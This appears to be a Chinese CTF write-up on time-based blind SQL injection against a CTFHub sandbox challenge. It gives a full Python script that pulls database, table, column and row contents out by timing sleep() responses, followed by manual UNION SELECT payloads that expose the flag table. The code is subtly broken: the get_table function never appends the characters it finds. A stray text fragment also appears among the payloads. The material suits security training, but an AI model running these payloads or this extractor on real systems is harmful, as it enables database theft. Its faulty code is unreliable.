一.思路:
基于时间盲注的一般思路是延迟注入,说白了就是利用sleep()或benchmark()等函数让mysql执行时间变长并结合判断条件语句if(expr1,expr2,expr3),然后通过页面的响应时间长短来判断语句返回的值是TRUE还是False,从而猜解一些未知的字段。
二.注入步骤
1.确定注入点及注入类型
.2使用if判断语句,猜测version()的长度并用sleep函数作为判断依据
3.重复步骤2直至获取真正长度
4.使用if判断语句,猜测version()的第一个字符的ascii码并使用sleep函数作为判断依据构造注入语句,
5.重复步骤4,直至获取全部长度的版本字符的ascii码
三.运行脚本
import requests
from urllib.parse import quote
base_url = "http://challenge-39a94d469d24b2d4.sandbox.ctfhub.com:10800/?id="
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://challenge-59668c27594f7541.sandbox.ctfhub.com:10800/", "Upgrade-Insecure-Requests": "1"}
def get_database_length():
global base_url, headers
length = 1
while (1):
id = "1 and if(length(database()) = " + str(length) + ", 1, sleep(2))"
url = base_url + quote(id) #很重要,因为id中有许多特殊字符,比如#,需要进行url编码
try:
requests.get(url, headers=headers, timeout=1).text
except Exception:
print("database length", length, "failed!")
length+=1
else:
print("database length", length, "success")
print("payload:", id)
break
print("数据库名的长度为", length)
return length
def get_database(database_length):
global base_url, headers
database = ""
for i in range(1, database_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
except Exception:
id_bigger = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
except Exception:
r = ascii - 1
else:
l = ascii + 1
else:
database += chr(ascii)
print ("目前已知数据库名", database)
break
print("数据库名为", database)
return database
def get_table_num(database):
global base_url, headers
num = 1
while (1):
id = "1 and if((select count(table_name) from information_schema.tables where table_schema = '" + database + "') = " + str(num) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id), headers=headers, timeout=1).text
except Exception:
num += 1
else:
print("payload:", id)
print("数据库中有", num, "个表")
break
return num
def get_table_length(index, database):
global base_url, headers
length = 1
while (1):
id = "1 and if((select length(table_name) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id), headers=headers, timeout= 1).text
except Exception:
print("table length", length, "failed!")
length+=1
else:
print("table length", length, "success")
print("payload:", id)
break
print("数据表名的长度为", length)
return length
def get_table(index, table_length, database):
global base_url, headers
table = ""
for i in range(1, table_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
try:
response = requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
except Exception:
id_bigger = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
try:
response = requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
except Exception:
r = ascii - 1
else:
l = ascii + 1
break
print("数据表名为", table)
return table
def get_column_num(table):
global base_url, headers
num = 1
while (1):
id = "1 and if((select count(column_name) from information_schema.columns where table_name = '" + table + "') = " + str(num) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id), headers=headers, timeout=1).text
except Exception:
num += 1
else:
print("payload:", id)
print("数据表", table, "中有", num, "个字段")
break
return num
def get_column_length(index, table):
global base_url, headers
length = 1
while (1):
id = "1 and if((select length(column_name) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id), headers=headers, timeout=1).text
except Exception:
print("column length", length, "failed!")
length+=1
else:
print("column length", length, "success")
print("payload:", id)
break
print("数据表", table, "第", index, "个字段的长度为", length)
return length
def get_column(index, column_length, table):
global base_url, headers
column = ""
for i in range(1, column_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
except Exception:
id_bigger = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
except Exception:
r = ascii - 1
else:
l = ascii + 1
else:
column += chr(ascii)
print ("目前已知字段为", column)
break
print("数据表", table, "第", index, "个字段名为", column)
return column
def get_flag_num(column, table):
global base_url, headers
num = 1
while (1):
id = "1 and if((select count(" + column + ") from " + table + ") = " + str(num) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id), headers=headers, timeout=1).text
except Exception:
num += 1
else:
print("payload:", id)
print("数据表", table, "中有", num, "行数据")
break
return num
def get_flag_length(index, column, table):
global base_url, headers
length = 1
while (1):
id = "1 and if((select length(" + column + ") from " + table + " limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id), headers=headers, timeout=1).text
except Exception:
print("flag length", length, "failed!")
length+=1
else:
print("flag length", length, "success")
print("payload:", id)
break
print("数据表", table, "第", index, "行数据的长度为", length)
return length
def get_flag(index, flag_length, column, table):
global base_url, headers
flag = ""
for i in range(1, flag_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
except Exception:
id_bigger = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
except Exception:
r = ascii - 1
else:
l = ascii + 1
else:
flag += chr(ascii)
print ("目前已知flag为", flag)
break
print("数据表", table, "第", index, "行数据为", flag)
return flag
if __name__ == "__main__":
print("---------------------")
print("开始获取数据库名长度")
database_length = get_database_length()
print("---------------------")
print("开始获取数据库名")
database = get_database(database_length)
print("---------------------")
print("开始获取数据表的个数")
table_num = get_table_num(database)
tables = []
print("---------------------")
for i in range(0, table_num):
print("开始获取第", i + 1, "个数据表的名称的长度")
table_length = get_table_length(i, database)
print("---------------------")
print("开始获取第", i + 1, "个数据表的名称")
table = get_table(i, table_length, database)
tables.append(table)
while(1): #在这个循环中可以进入所有的数据表一探究竟
print("---------------------")
print("现在得到了以下数据表", tables)
table = input("请在这些数据表中选择一个目标: ")
while( table not in tables ):
print("你输入有误")
table = input("请重新选择一个目标")
print("---------------------")
print("选择成功,开始获取数据表", table, "的字段数量")
column_num = get_column_num(table)
columns = []
print("---------------------")
for i in range(0, column_num):
print("开始获取数据表", table, "第", i + 1, "个字段名称的长度")
column_length = get_column_length(i, table)
print("---------------------")
print("开始获取数据表", table, "第", i + 1, "个字段的名称")
column = get_column(i, column_length, table)
columns.append(column)
while(1): #在这个循环中可以获取当前选择数据表的所有字段记录
print("---------------------")
print("现在得到了数据表", table, "中的以下字段", columns)
column = input("请在这些字段中选择一个目标: ")
while( column not in columns ):
print("你输入有误")
column = input("请重新选择一个目标")
print("---------------------")
print("选择成功,开始获取数据表", table, "的记录数量")
flag_num = get_flag_num(column, table)
flags = []
print("---------------------")
for i in range(0, flag_num):
print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度")
flag_length = get_flag_length(i, column, table)
print("---------------------")
print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容")
flag = get_flag(i, flag_length, column, table)
flags.append(flag)
print("---------------------")
print("现在得到了数据表", table, "中", column, "字段中的以下记录", flags)
quit = input("继续切换字段吗?(y/n)")
if (quit == 'n' or quit == 'N'):
break
else:
continue
quit = input("继续切换数据表名吗?(y/n)")
if (quit == 'n' or quit == 'N'):
break
else:
continue
print("bye~")
四.题目mysql结构
字段数为2
输入-1 union select 1,database() ,可以得出表名:sqli
然后输入0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
ca
再输入0 union select 1,group_concat(column_name) from information_schema.columns where table_name='egwuknoqey'
最后查看0 union select 1,group_concat(zakjgmjius ) from egwuknoqey